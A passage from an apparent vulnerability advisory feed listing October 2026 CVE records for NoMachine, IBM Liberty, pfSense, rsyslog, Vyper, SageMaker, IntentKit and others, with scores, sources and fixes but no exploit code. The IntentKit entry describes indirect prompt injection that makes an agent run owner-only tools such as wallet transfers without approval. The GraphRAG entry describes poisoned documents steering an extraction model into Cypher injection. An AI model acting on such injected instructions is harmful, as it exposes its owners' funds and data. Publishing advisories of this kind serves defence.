The specific flaw exists within the _get_shared_drive_object method. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-28216.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NoMachine nxhtd Server-Side Request Forgery Information Disclosure Vulnerability.
https://kevwire.com/record/CVE-2026-92210
NoMachine nxhtd Server-Side Request Forgery Information Disclosure Vulnerability. (Oct 21, 2026).
NoMachine nxhtd Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to initiate arbitrary server-side requests on affected installations of NoMachine. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the web service, which listens on UDP port 4443 by default. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to initiate requests in the context of the service account. Was ZDI-CAN-31619.
CVSS 7.2 (version 3.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92210).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92210&date=2026-10-25).
Sources:
NVD CVE-2026-92210: https://nvd.nist.gov/vuln/detail/CVE-2026-92210
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92210&date=2026-10-25
NoMachine nxhtd Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to initiate arbitrary server-side requests on affected installations of NoMachine. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the web service, which listens on UDP port 4443 by default. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to initiate requests in the context of the service account. Was ZDI-CAN-31619.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow a remote attacker to cause a denial of service due to an uncaught exception.
https://kevwire.com/record/CVE-2026-95696
IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow a remote attacker to cause a denial of service due to an uncaught exception. (Oct 13, 2026).
IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow a remote attacker to cause a denial of service due to an uncaught exception.
CVSS 6.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95696).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95696&date=2026-10-25).
Sources:
NVD CVE-2026-95696: https://nvd.nist.gov/vuln/detail/CVE-2026-95696
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7292228
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95696&date=2026-10-25
IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow a remote attacker to cause a denial of service due to an uncaught exception.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect privilege assignment in the IAM policy of AWS CICD-toolchain-for-serverless-applications 1.0.7 through 1.0.10 allows remote authenticated users with push access to the...
https://kevwire.com/record/CVE-2026-112407
Incorrect privilege assignment in the IAM policy of AWS CICD-toolchain-for-serverless-applications 1.0.7 through 1.0.10 allows remote authenticated users with push access to the... (Oct 20, 2026).
Incorrect privilege assignment in the IAM policy of AWS CICD-toolchain-for-serverless-applications 1.0.7 through 1.0.10 allows remote authenticated users with push access to the application source repository to escalate privileges and access or modify resources outside the application stack in the same AWS account via application templates deployed by the toolchain pipeline.



To remediate this issue, users should upgrade existing toolchain stacks to version 1.0.11 or later.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112407).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112407&date=2026-10-25).
Sources:
NVD CVE-2026-112407: https://nvd.nist.gov/vuln/detail/CVE-2026-112407
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112407&date=2026-10-25
Incorrect privilege assignment in the IAM policy of AWS CICD-toolchain-for-serverless-applications 1.0.7 through 1.0.10 allows remote authenticated users with push access to the application source repository to escalate privileges and access or modify resources outside the application stack in the same AWS account via application templates deployed by the toolchain pipeline.



To remediate this issue, users should upgrade existing toolchain stacks to version 1.0.11 or later.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The pfSense REST API package is an unofficial, open-source REST and GraphQL API for pfSense CE and pfSense Plus firewalls.
https://kevwire.com/record/CVE-2026-113779
The pfSense REST API package is an unofficial, open-source REST and GraphQL API for pfSense CE and pfSense Plus firewalls. (Oct 21, 2026).
The pfSense REST API package is an unofficial, open-source REST and GraphQL API for pfSense CE and pfSense Plus firewalls. A privilege escalation vulnerability in pfSense-pkg-RESTAPI prior to version 2.9.0 allows authenticated accounts holding the dedicated settings sync permission to modify REST API configuration secrets. This enables a non-administrative user to elevate their privileges to a full administrator. pfSense-pkg-RESTAPI 2.9.0 patches the issue. Access to the HA settings sync endpoint now strictly requires full administrative privileges (`page-all`). The sub-administrative sync privilege has been removed in versions v2.9.0 and later. In addition to correcting the access control boundary, version 2.9.0 includes the following hardening measures: opt-in default and format and validation modernization. As a workaround, one may mitigate exposure by taking either or all of the following steps. Revoke Scoped Permissions: Remove the `api-v2-system-restapi-settings-sync-post` privilege from all non-administrative users. Apply ACLs: Configure REST API Access Control Lists (ACLs) and/or firewall rules to restrict access to API endpoints exclusively to trusted administrator and HA peer IP addresses.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113779).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113779&date=2026-10-25).
Sources:
NVD CVE-2026-113779: https://nvd.nist.gov/vuln/detail/CVE-2026-113779
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113779&date=2026-10-25
The pfSense REST API package is an unofficial, open-source REST and GraphQL API for pfSense CE and pfSense Plus firewalls. A privilege escalation vulnerability in pfSense-pkg-RESTAPI prior to version 2.9.0 allows authenticated accounts holding the dedicated settings sync permission to modify REST API configuration secrets. This enables a non-administrative user to elevate their privileges to a full administrator. pfSense-pkg-RESTAPI 2.9.0 patches the issue. Access to the HA settings sync endpoint now strictly requires full administrative privileges (`page-all`). The sub-administrative sync privilege has been removed in versions v2.9.0 and later. In addition to correcting the access control boundary, version 2.9.0 includes the following hardening measures: opt-in default and format and validation modernization. As a workaround, one may mitigate exposure by taking either or all of the following steps. Revoke Scoped Permissions: Remove the `api-v2-system-restapi-settings-sync-post` privilege from all non-administrative users. Apply ACLs: Configure REST API Access Control Lists (ACLs) and/or firewall rules to restrict access to API endpoints exclusively to trusted administrator and HA peer IP addresses.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Flexible GraphRAG is a Python framework for building graph and retrieval-augmented generation applications across multiple graph, vector, and search backends.
https://kevwire.com/record/CVE-2026-114510
Flexible GraphRAG is a Python framework for building graph and retrieval-augmented generation applications across multiple graph, vector, and search backends. (Oct 22, 2026).
Flexible GraphRAG is a Python framework for building graph and retrieval-augmented generation applications across multiple graph, vector, and search backends. From 0.6.0 until 0.8.2, the _escape() helper in flexible-graphrag/langchain/graph/pg_store_adapters/falkordb_adapter.py escapes quotes before backslashes and then interpolates the result into Cypher assembled by FalkorDBAdapter.add_graph_documents, allowing an inserted escape to be doubled and a quote to terminate the string early. When GRAPH_BACKEND=langchain and GRAPH_DB=falkordb are configured, attacker-influenced ingested document content can cause the extraction model to produce malicious entity or relationship values that reach these queries, allowing injected Cypher clauses to modify or delete graph data and, when the calling code surfaces query results to the user or LLM, disclose graph data. Dynamic node and relationship type identifiers are also inserted into backtick-quoted query positions without safe parameterization. The LlamaIndex FalkorDB store is not affected. This issue is fixed in version 0.8.2.
CVSS 7.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114510).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114510&date=2026-10-25).
Sources:
NVD CVE-2026-114510: https://nvd.nist.gov/vuln/detail/CVE-2026-114510
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114510&date=2026-10-25
Flexible GraphRAG is a Python framework for building graph and retrieval-augmented generation applications across multiple graph, vector, and search backends. From 0.6.0 until 0.8.2, the _escape() helper in flexible-graphrag/langchain/graph/pg_store_adapters/falkordb_adapter.py escapes quotes before backslashes and then interpolates the result into Cypher assembled by FalkorDBAdapter.add_graph_documents, allowing an inserted escape to be doubled and a quote to terminate the string early. When GRAPH_BACKEND=langchain and GRAPH_DB=falkordb are configured, attacker-influenced ingested document content can cause the extraction model to produce malicious entity or relationship values that reach these queries, allowing injected Cypher clauses to modify or delete graph data and, when the calling code surfaces query results to the user or LLM, disclose graph data. Dynamic node and relationship type identifiers are also inserted into backtick-quoted query positions without safe parameterization. The LlamaIndex FalkorDB store is not affected. This issue is fixed in version 0.8.2.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Rsyslog is a rocket-fast system for log processing.
https://kevwire.com/record/CVE-2026-92709
Rsyslog is a rocket-fast system for log processing. (Oct 22, 2026).
Rsyslog is a rocket-fast system for log processing. From versions 1.15.0 to 8.2610.0, rsyslog's omfile dynaFile facility intentionally allows templates to generate flexible output paths. This supports valid deployments that route logs into different directories or use dynamically generated file names. A deployment becomes unsafe when a dynaFile template uses a value influenced by untrusted input as a path component without explicit secure-path handling. In that configuration, the rendered path can escape the operator's intended log directory. This is not limited to the RFC5424 HOSTNAME field. Any untrusted value that reaches a dynaFile path component can create the condition. At time of publication, there are no publicly available patches.
CVSS 8.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92709).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92709&date=2026-10-25).
Sources:
NVD CVE-2026-92709: https://nvd.nist.gov/vuln/detail/CVE-2026-92709
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92709&date=2026-10-25
Rsyslog is a rocket-fast system for log processing. From versions 1.15.0 to 8.2610.0, rsyslog's omfile dynaFile facility intentionally allows templates to generate flexible output paths. This supports valid deployments that route logs into different directories or use dynamically generated file names. A deployment becomes unsafe when a dynaFile template uses a value influenced by untrusted input as a path component without explicit secure-path handling. In that configuration, the rendered path can escape the operator's intended log directory. This is not limited to the RFC5424 HOSTNAME field. Any untrusted value that reaches a dynaFile path component can create the condition. At time of publication, there are no publicly available patches.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing verification of source of a communication channel in the default_bucket() function in Amazon SageMaker Python SDK V3 before 3.10.0 and V2 before 2.257.3 might allow remote...
https://kevwire.com/record/CVE-2026-112408
Missing verification of source of a communication channel in the default_bucket() function in Amazon SageMaker Python SDK V3 before 3.10.0 and V2 before 2.257.3 might allow remote... (Oct 21, 2026).
Missing verification of source of a communication channel in the default_bucket() function in Amazon SageMaker Python SDK V3 before 3.10.0 and V2 before 2.257.3 might allow remote actors to achieve code execution in the target SageMaker execution environment and obtain IAM credentials via pre-creation of a predictably named S3 bucket that the SDK uses without ownership validation.



To remediate this issue, users should upgrade to Amazon SageMaker Python SDK 3.10.0 (V3) or 2.257.3 (V2).
CVSS 9.4 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112408).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112408&date=2026-10-25).
Sources:
NVD CVE-2026-112408: https://nvd.nist.gov/vuln/detail/CVE-2026-112408
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112408&date=2026-10-25
Missing verification of source of a communication channel in the default_bucket() function in Amazon SageMaker Python SDK V3 before 3.10.0 and V2 before 2.257.3 might allow remote actors to achieve code execution in the target SageMaker execution environment and obtain IAM credentials via pre-creation of a predictably named S3 bucket that the SDK uses without ownership validation.



To remediate this issue, users should upgrade to Amazon SageMaker Python SDK 3.10.0 (V3) or 2.257.3 (V2).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sensitive information disclosure and manipulation due to improper authorization checks.
https://kevwire.com/record/CVE-2026-87095
Sensitive information disclosure and manipulation due to improper authorization checks. (Oct 21, 2026).
Sensitive information disclosure and manipulation due to improper authorization checks. The following products are affected: Acronis Cyber Infrastructure (ACI) before build 6.0.1-112, Acronis Cyber Infrastructure (ACI) before build 6.1.1-64, Acronis Cyber Infrastructure (ACI) before build 6.2.1-71.
CVSS 9.1 (version 3.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87095).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87095&date=2026-10-25).
Sources:
NVD CVE-2026-87095: https://nvd.nist.gov/vuln/detail/CVE-2026-87095
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87095&date=2026-10-25
Sensitive information disclosure and manipulation due to improper authorization checks. The following products are affected: Acronis Cyber Infrastructure (ACI) before build 6.0.1-112, Acronis Cyber Infrastructure (ACI) before build 6.1.1-64, Acronis Cyber Infrastructure (ACI) before build 6.2.1-71.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Potential arbitrary code execution under specific configurations.
https://kevwire.com/record/CVE-2026-92892
Potential arbitrary code execution under specific configurations. (Oct 13, 2026).
Potential arbitrary code execution under specific configurations.
Updated October 22, 2026: Affected versions now include JFrog CLI v2.127.0. For remediation, update to v2.128.0 or later.
CVSS 9.0 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92892).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92892&date=2026-10-25).
Sources:
NVD CVE-2026-92892: https://nvd.nist.gov/vuln/detail/CVE-2026-92892
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92892&date=2026-10-25
Potential arbitrary code execution under specific configurations.
Updated October 22, 2026: Affected versions now include JFrog CLI v2.127.0. For remediation, update to v2.128.0 or later.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IntentKit through 2.6.3, fixed in commit 5b91da5, contains an authorization bypass vulnerability where the executor validates tool calls against the full tool registry rather than...
https://kevwire.com/record/CVE-2026-76066
IntentKit through 2.6.3, fixed in commit 5b91da5, contains an authorization bypass vulnerability where the executor validates tool calls against the full tool registry rather than... (Oct 15, 2026).
IntentKit through 2.6.3, fixed in commit 5b91da5, contains an authorization bypass vulnerability where the executor validates tool calls against the full tool registry rather than the per-request narrowed tool advertisement enforced by ToolBindingMiddleware, allowing owner-only state-changing tools such as wallet transfer, posting, memory-write, and call-agent to execute without any human-in-the-loop or approval gate. An unauthenticated or public caller in WEB, API, TWITTER, or TELEGRAM contexts can exploit this by supplying the exact de-advertised tool name and arguments via indirect prompt injection or by replaying checkpoint and history data on a reused thread, achieving unauthorized execution of owner-restricted capabilities.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76066).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76066&date=2026-10-25).
Sources:
NVD CVE-2026-76066: https://nvd.nist.gov/vuln/detail/CVE-2026-76066
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76066&date=2026-10-25
IntentKit through 2.6.3, fixed in commit 5b91da5, contains an authorization bypass vulnerability where the executor validates tool calls against the full tool registry rather than the per-request narrowed tool advertisement enforced by ToolBindingMiddleware, allowing owner-only state-changing tools such as wallet transfer, posting, memory-write, and call-agent to execute without any human-in-the-loop or approval gate. An unauthenticated or public caller in WEB, API, TWITTER, or TELEGRAM contexts can exploit this by supplying the exact de-advertised tool name and arguments via indirect prompt injection or by replaying checkpoint and history data on a reused thread, achieving unauthorized execution of owner-restricted capabilities.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenCATS before 0.12.0 contains a stored cross-site scripting vulnerability that allows a low-privileged authenticated user to inject HTML/JavaScript payloads by setting a...
https://kevwire.com/record/CVE-2026-115513
OpenCATS before 0.12.0 contains a stored cross-site scripting vulnerability that allows a low-privileged authenticated user to inject HTML/JavaScript payloads by setting a... (Oct 22, 2026).
OpenCATS before 0.12.0 contains a stored cross-site scripting vulnerability that allows a low-privileged authenticated user to inject HTML/JavaScript payloads by setting a Candidate, Company, Contact, Job Order, or List name/title field, which is stored unsanitized and later rendered unescaped in the 'Recent' (MRU) navigation panel displayed on nearly every page via lib/MRU.php's getFormatted() function. Attackers can exploit this by crafting a malicious record name that executes arbitrary JavaScript in the session of any other user, including Site Administrators, who views the record, enabling session/cookie theft and privilege escalation to full administrative control.
CVSS 6.3 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115513).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115513&date=2026-10-25).
Sources:
NVD CVE-2026-115513: https://nvd.nist.gov/vuln/detail/CVE-2026-115513
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115513&date=2026-10-25
OpenCATS before 0.12.0 contains a stored cross-site scripting vulnerability that allows a low-privileged authenticated user to inject HTML/JavaScript payloads by setting a Candidate, Company, Contact, Job Order, or List name/title field, which is stored unsanitized and later rendered unescaped in the 'Recent' (MRU) navigation panel displayed on nearly every page via lib/MRU.php's getFormatted() function. Attackers can exploit this by crafting a malicious record name that executes arbitrary JavaScript in the session of any other user, including Site Administrators, who views the record, enabling session/cookie theft and privilege escalation to full administrative control.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vyper from 0.1.0b4 before 0.3.0 contains a memory corruption vulnerability caused by an incorrect stack tip pointer when internal function calls appear inside tuples or nested...
https://kevwire.com/record/CVE-2020-37286
Vyper from 0.1.0b4 before 0.3.0 contains a memory corruption vulnerability caused by an incorrect stack tip pointer when internal function calls appear inside tuples or nested... (Oct 21, 2026).
Vyper from 0.1.0b4 before 0.3.0 contains a memory corruption vulnerability caused by an incorrect stack tip pointer when internal function calls appear inside tuples or nested calls. Contracts using such calls as tuple elements, call arguments, or builtin arguments like concat or ecrecover can return corrupted values or pass wrong arguments to external calls.
CVSS 8.3 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2020-37286).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-37286&date=2026-10-25).
Sources:
NVD CVE-2020-37286: https://nvd.nist.gov/vuln/detail/CVE-2020-37286
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-37286&date=2026-10-25
Vyper from 0.1.0b4 before 0.3.0 contains a memory corruption vulnerability caused by an incorrect stack tip pointer when internal function calls appear inside tuples or nested calls. Contracts using such calls as tuple elements, call arguments, or builtin arguments like concat or ecrecover can return corrupted values or pass wrong arguments to external calls.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vyper before 0.2.6 contains a call stack corruption vulnerability that causes incorrect function outputs when complex types with non-base members are passed as arguments.
https://kevwire.com/record/CVE-2020-37287
Vyper before 0.2.6 contains a call stack corruption vulnerability that causes incorrect function outputs when complex types with non-base members are passed as arguments. (Oct 21, 2026).
Vyper before 0.2.6 contains a call stack corruption vulnerability that causes incorrect function outputs when complex types with non-base members are passed as arguments. Contracts passing multi-dimensional arrays or structs to internal or external functions receive corrupted values because the compiler assumed each subtype size is 32.
CVSS 8.2 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2020-37287).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-37287&date=2026-10-25).
Sources:
NVD CVE-2020-37287: https://nvd.nist.gov/vuln/detail/CVE-2020-37287
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-37287&date=2026-10-25
Vyper before 0.2.6 contains a call stack corruption vulnerability that causes incorrect function outputs when complex types with non-base members are passed as arguments. Contracts passing multi-dimensional arrays or structs to internal or external functions receive corrupted values because the compiler assumed each subtype size is 32.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vyper from 0.1.0b4 before 0.3.0 contains a memory corruption vulnerability caused by an incorrect stack tip pointer when internal function calls are performed inside arrays.
https://kevwire.com/record/CVE-2021-48020
Vyper from 0.1.0b4 before 0.3.0 contains a memory corruption vulnerability caused by an incorrect stack tip pointer when internal function calls are performed inside arrays. (Oct 21, 2026).
Vyper from 0.1.0b4 before 0.3.0 contains a memory corruption vulnerability caused by an incorrect stack tip pointer when internal function calls are performed inside arrays. Contracts placing internal calls in nested array elements, external call arguments, struct literals, or raw_log topics can have memory corrupted, producing incorrect contract behavior.
CVSS 8.3 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2021-48020).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-48020&date=2026-10-25).
Sources:
NVD CVE-2021-48020: https://nvd.nist.gov/vuln/detail/CVE-2021-48020
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-48020&date=2026-10-25
Vyper from 0.1.0b4 before 0.3.0 contains a memory corruption vulnerability caused by an incorrect stack tip pointer when internal function calls are performed inside arrays. Contracts placing internal calls in nested array elements, external call arguments, struct literals, or raw_log topics can have memory corrupted, producing incorrect contract behavior.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vyper 0.3.8 through 0.5.0b1 contains an optimizer miscompilation in which (msg.value | K) or (len(msg.data) | K), where K is any nonzero integer literal, is compiled to the...
https://kevwire.com/record/CVE-2026-114117
Vyper 0.3.8 through 0.5.0b1 contains an optimizer miscompilation in which (msg.value | K) or (len(msg.data) | K), where K is any nonzero integer literal, is compiled to the... (Oct 21, 2026).
Vyper 0.3.8 through 0.5.0b1 contains an optimizer miscompilation in which (msg.value | K) or (len(msg.data) | K), where K is any nonzero integer literal, is compiled to the constant 1 when used as a ternary expression branch under -O gas (the default) or -O codesize. Affected contracts use the wrong value in storage writes, arithmetic, indexes, return values, or events without warning or revert, which can record deposits incorrectly and lock funds.
CVSS 8.2 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114117).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114117&date=2026-10-25).
Sources:
NVD CVE-2026-114117: https://nvd.nist.gov/vuln/detail/CVE-2026-114117
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114117&date=2026-10-25
Vyper 0.3.8 through 0.5.0b1 contains an optimizer miscompilation in which (msg.value | K) or (len(msg.data) | K), where K is any nonzero integer literal, is compiled to the constant 1 when used as a ternary expression branch under -O gas (the default) or -O codesize. Affected contracts use the wrong value in storage writes, arithmetic, indexes, return values, or events without warning or revert, which can record deposits incorrectly and lock funds.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WarehousePG (WHPG) 6.27.1 through 6.27.6 and 7.2.1 through 7.6.0 are affected by a missing authorization vulnerability (CWE-862) in the built-in cluster expansion functions...
https://kevwire.com/record/CVE-2026-104948
WarehousePG (WHPG) 6.27.1 through 6.27.6 and 7.2.1 through 7.6.0 are affected by a missing authorization vulnerability (CWE-862) in the built-in cluster expansion functions... (Oct 21, 2026).
WarehousePG (WHPG) 6.27.1 through 6.27.6 and 7.2.1 through 7.6.0 are affected by a missing authorization vulnerability (CWE-862) in the built-in cluster expansion functions gp_expand_lock_catalog() and gp_expand_bump_version(). Any authenticated database role can run them, and neither checks privileges. A low-privileged user can call gp_expand_lock_catalog() inside an open transaction to block all catalog changes across the cluster for every user, superusers included, until that transaction ends, which in practice requires a superuser to terminate the session. Blocked changes include DDL, temporary table creation, GRANT and CREATE ROLE. The same user can call gp_expand_bump_version() repeatedly. Each call disconnects sessions that hold temporary tables, with a FATAL error on their next catalog change, and makes every other session rebuild its segment connections.
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104948).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104948&date=2026-10-25).
Sources:
NVD CVE-2026-104948: https://nvd.nist.gov/vuln/detail/CVE-2026-104948
